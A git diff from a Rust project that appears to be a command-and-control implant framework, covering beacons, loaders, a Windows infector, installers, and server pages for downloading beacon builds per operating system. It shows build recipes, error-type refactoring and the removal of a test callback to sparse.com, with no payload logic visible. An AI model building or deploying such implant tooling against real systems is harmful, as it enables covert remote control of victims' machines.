diff --git a/Cargo.lock b/Cargo.lock index 5e75a18..578a354 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3377,7 +3377,6 @@ dependencies = [ "hyper", "hyper-rustls", "hyper-util", - "nl-sys", "packets", "pcap-sys", "pin-project", @@ -3459,8 +3458,14 @@ dependencies = [ name = "sparse-unix-beacon" version = "2.0.0" dependencies = [ + "async-trait", "errno", "libc", + "nl-sys", + "sparse-actions", + "sparse-beacon", + "thiserror 2.0.11", + "tokio", ] [[package]] diff --git a/packages.nix b/packages.nix index 19c5116..d7f7534 100644 --- a/packages.nix +++ b/packages.nix @@ -183,6 +183,17 @@ let CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; }); + sparse-beacon-windows-svc = craneLib.buildPackage (windowsArgs // { + cargoArtifacts = windowsCargoArtifacts; + name = "sparse-beacon-windows"; + cargoExtraArgs = "-p sparse-windows-beacon --features=service"; + src = + fileSetForBeaconCrate ./sparse-windows-beacon ./sparse-windows-infector; + + CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu"; + CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; + }); + linux-loader = pkgs.stdenv.mkDerivation { name = "sparse-linux-loader"; @@ -206,7 +217,7 @@ let ''; }; - freebsd-loader = pkgs.stdenv.mkDerivation { + freebsd-loader-sysv = pkgs.stdenv.mkDerivation { name = "sparse-freebsd-loader"; buildInputs = with pkgs; [ zig ]; @@ -231,6 +242,8 @@ let ''; }; + freebsd-loader = patch-freebsd-elf freebsd-loader-sysv "bin/unix-loader"; + sparse-installer-linux = craneLib.buildPackage (linuxArgs // { cargoArtifacts = linuxCargoArtifacts; name = "sparse-installer-linux"; @@ -254,7 +267,7 @@ let CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; - SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so"; + SPARSE_LOADER = "${freebsd-loader-sysv}/lib/libunix-loader-freebsd.so"; }); sparse-installer-freebsd = @@ -270,12 +283,11 @@ let CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; - SPARSE_BEACON_WINDOWS = - "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll"; + SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll"; }); sparse-server = craneLib.mkCargoDerivation (commonArgs // { - src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate; + src = fileSetForWebCrate; cargoArtifacts = gnuLinuxCargoArtifacts; @@ -303,6 +315,15 @@ let "${sparse-installer-freebsd}/bin/sparse-unix-installer"; SPARSE_INSTALLER_WINDOWS = "${sparse-installer-windows}/bin/sparse-windows-installer.exe"; + + SPARSE_BEACON_LINUX = "${sparse-beacon-linux}/bin/sparse-unix-beacon"; + SPARSE_BEACON_LINUX_LOADER = "${linux-loader}/bin/unix-loader"; + SPARSE_BEACON_FREEBSD = "${sparse-beacon-freebsd}/bin/sparse-unix-beacon"; + SPARSE_BEACON_FREEBSD_LOADER = "${freebsd-loader}/bin/unix-loader"; + SPARSE_BEACON_WINDOWS = + "${sparse-beacon-windows}/bin/sparse-windows-beacon.exe"; + SPARSE_BEACON_WINDOWS_SVC = + "${sparse-beacon-windows-svc}/bin/sparse-windows-beacon.exe"; }); sparse-server-docker = pkgs.dockerTools.buildImage { @@ -317,11 +338,9 @@ let outputs = rec { packages = { inherit sparse-server sparse-server-docker sparse-beacon-linux - sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader - sparse-installer-linux sparse-installer-freebsd - sparse-installer-windows; - - inherit freebsd-zig-libc; + sparse-beacon-freebsd sparse-beacon-windows sparse-beacon-windows-svc + linux-loader freebsd-loader-sysv sparse-installer-linux + sparse-installer-freebsd sparse-installer-windows; default = sparse-server; }; diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index b1564f2..936a1f6 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -20,10 +20,9 @@ tower-service = "0.3.3" futures = "0.3.31" simple_logger = "5.0.0" http = "1.2.0" +bytes = "1.10.0" +http-body-util = "0.1.2" pcap-sys = { version = "0.1.0", path = "../pcap-sys" } sparse-actions = { version = "2.0.0", path = "../sparse-actions" } packets = { version = "0.1.0", path = "../packets" } -nl-sys = { version = "0.1.0", path = "../nl-sys" } -bytes = "1.10.0" -http-body-util = "0.1.2" diff --git a/sparse-beacon/src/adapter.rs b/sparse-beacon/src/adapter.rs index 0a0a706..3900719 100644 --- a/sparse-beacon/src/adapter.rs +++ b/sparse-beacon/src/adapter.rs @@ -23,7 +23,9 @@ pub struct BeaconInterface { #[async_trait::async_trait] pub trait BeaconAdapter { + type Error: error::AdapterError + Send + Sync; + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec; - fn networking_info(&self) -> Result; + fn networking_info(&self) -> Result>; } diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 79c1cd4..75878a0 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -1,9 +1,6 @@ use std::{future::Future, pin::Pin, task::{self, Poll}}; -use futures::stream::StreamExt; use http::Uri; -use http_body_util::{Empty, BodyExt}; -use hyper::Request; use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}}; use rustls::RootCertStore; use tower_service::Service; @@ -26,7 +23,7 @@ where T: adapter::BeaconAdapter + Clone + Send + Sync + 'static { type Response = TokioIo; - type Error = error::BeaconError; + type Error = error::BeaconError; type Future = Pin> + Send >>; @@ -48,12 +45,14 @@ where } } -pub async fn perform_callback( +pub async fn obtain_https_client( adapter: &T, parameters: &Parameters, -) -> Result<(), error::BeaconError> +) -> Result>, B>, error::BeaconError> where T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, + B: hyper::body::Body + Send, + ::Data: Send { let server_cert = rustls::pki_types::CertificateDer::from( parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned() @@ -93,17 +92,5 @@ where let client = Client::builder(TokioExecutor::new()) .build(https); - for _ in 1..5 { - let req = Request::builder() - .uri("https://sparse.com/hidden_sparse/test".parse::()?) - .body(Empty::::new())?; - let resp = client.request(req).await?; - - println!("{:?} {:?}", resp.version(), resp.status()); - let body = resp.into_body(); - let body = body.collect().await; - println!("{:?}", body); - } - - Ok(()) + Ok(client) } diff --git a/sparse-beacon/src/error.rs b/sparse-beacon/src/error.rs index e2600ad..6dda5c3 100644 --- a/sparse-beacon/src/error.rs +++ b/sparse-beacon/src/error.rs @@ -1,7 +1,12 @@ use thiserror::Error; +pub trait AdapterError: std::error::Error {} + #[derive(Error, Debug)] -pub enum BeaconError { +pub enum BeaconError +where + T: AdapterError, +{ #[error("io error")] Io(#[from] std::io::Error), #[error("pcap error")] @@ -14,8 +19,6 @@ pub enum BeaconError { NoDefaultRoute, #[error("connection error")] Connect(#[from] smoltcp::socket::tcp::ConnectError), - #[error("netlink error")] - Nl(#[from] nl_sys::error::Error), #[error("http comms error")] Http(#[from] http::Error), #[error("uri parse error")] @@ -24,4 +27,6 @@ pub enum BeaconError { HyperError(#[from] hyper_util::client::legacy::Error), #[error("rustls")] Rustls(#[from] rustls::Error), + #[error("adapter error")] + Adapter(#[from] T), } diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 202c109..1236248 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -8,11 +8,10 @@ pub mod adapter; pub mod error; pub use error::BeaconError; -pub async fn run_beacon_step(host_adapter: A, params: Parameters) -> Result<(), BeaconError> +pub async fn run_beacon_step(host_adapter: A, params: Parameters) -> Result<(), BeaconError> where A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, { - callback::perform_callback(&host_adapter, ¶ms).await?; Ok(()) } diff --git a/sparse-beacon/src/socket.rs b/sparse-beacon/src/socket.rs index cc236da..266d20b 100644 --- a/sparse-beacon/src/socket.rs +++ b/sparse-beacon/src/socket.rs @@ -18,7 +18,7 @@ impl RawSocket { a_interface: &adapter::BeaconInterface, promisc: bool, port: u16, - ) -> Result { + ) -> Result> { let name_raw = T::interface_name_from_interface(&a_interface); let name = std::str::from_utf8(&name_raw)?; let mut lower = Interface::new(name)?; diff --git a/sparse-beacon/src/tcp.rs b/sparse-beacon/src/tcp.rs index 1a8afbc..e017712 100644 --- a/sparse-beacon/src/tcp.rs +++ b/sparse-beacon/src/tcp.rs @@ -150,7 +150,7 @@ impl connect::Connection for NetInterfaceHandle { pub async fn setup_network( adapter: T, parameters: Parameters, -) -> Result +) -> Result> where T: adapter::BeaconAdapter + Clone + Send + 'static, { diff --git a/sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json b/sparse-server/.sqlx/query-2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5.json similarity index 55% rename from sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json rename to sparse-server/.sqlx/query-2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5.json index 6bd8329..3c32843 100644 --- a/sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json +++ b/sparse-server/.sqlx/query-2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5.json @@ -1,16 +1,21 @@ { "db_name": "SQLite", - "query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?", + "query": "SELECT domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?", "describe": { "columns": [ { - "name": "certificate", + "name": "domain_name", "ordinal": 0, + "type_info": "Text" + }, + { + "name": "certificate", + "ordinal": 1, "type_info": "Blob" }, { "name": "privkey", - "ordinal": 1, + "ordinal": 2, "type_info": "Blob" } ], @@ -18,9 +23,10 @@ "Right": 1 }, "nullable": [ + false, false, false ] }, - "hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342" + "hash": "2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5" } diff --git a/sparse-server/.sqlx/query-66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98.json b/sparse-server/.sqlx/query-66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98.json new file mode 100644 index 0000000..be82463 --- /dev/null +++ b/sparse-server/.sqlx/query-66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, default_category, client_key, client_cert,\n source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 10 + }, + "nullable": [] + }, + "hash": "66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98" +} diff --git a/sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json b/sparse-server/.sqlx/query-75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f.json similarity index 82% rename from sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json rename to sparse-server/.sqlx/query-75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f.json index e2c7861..4a5166e 100644 --- a/sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json +++ b/sparse-server/.sqlx/query-75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f.json @@ -1,6 +1,6 @@ { "db_name": "SQLite", - "query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener", + "query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,\n source_interface\n FROM beacon_template JOIN beacon_listener", "describe": { "columns": [ { @@ -62,6 +62,11 @@ "name": "client_key", "ordinal": 11, "type_info": "Blob" + }, + { + "name": "source_interface", + "ordinal": 12, + "type_info": "Blob" } ], "parameters": { @@ -79,8 +84,9 @@ false, false, false, - false + false, + true ] }, - "hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625" + "hash": "75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f" } diff --git a/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json b/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json deleted file mode 100644 index 59a8b00..0000000 --- a/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "db_name": "SQLite", - "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)", - "describe": { - "columns": [], - "parameters": { - "Right": 11 - }, - "nullable": [] - }, - "hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b" -} diff --git a/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json b/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json deleted file mode 100644 index f402ac6..0000000 --- a/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "db_name": "SQLite", - "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)", - "describe": { - "columns": [], - "parameters": { - "Right": 9 - }, - "nullable": [] - }, - "hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5" -} diff --git a/sparse-server/.sqlx/query-bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83.json b/sparse-server/.sqlx/query-bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83.json new file mode 100644 index 0000000..d54780b --- /dev/null +++ b/sparse-server/.sqlx/query-bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, source_netmask, source_gateway, default_category,\n client_key, client_cert, source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 12 + }, + "nullable": [] + }, + "hash": "bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83" +} diff --git a/sparse-server/src/beacons/templates.rs b/sparse-server/src/beacons/templates.rs index f1ad8b7..561dc15 100644 --- a/sparse-server/src/beacons/templates.rs +++ b/sparse-server/src/beacons/templates.rs @@ -437,10 +437,37 @@ pub fn DisplayTemplates( "Download installer" + + "Download beacon" + + {(template.operating_system == "windows") + .then(|| view! { + + "Download beacon (Windows Service)" + + })} + {(template.operating_system != "windows") + .then(|| view! { + + "Download beacon (Unix loader)" + + })}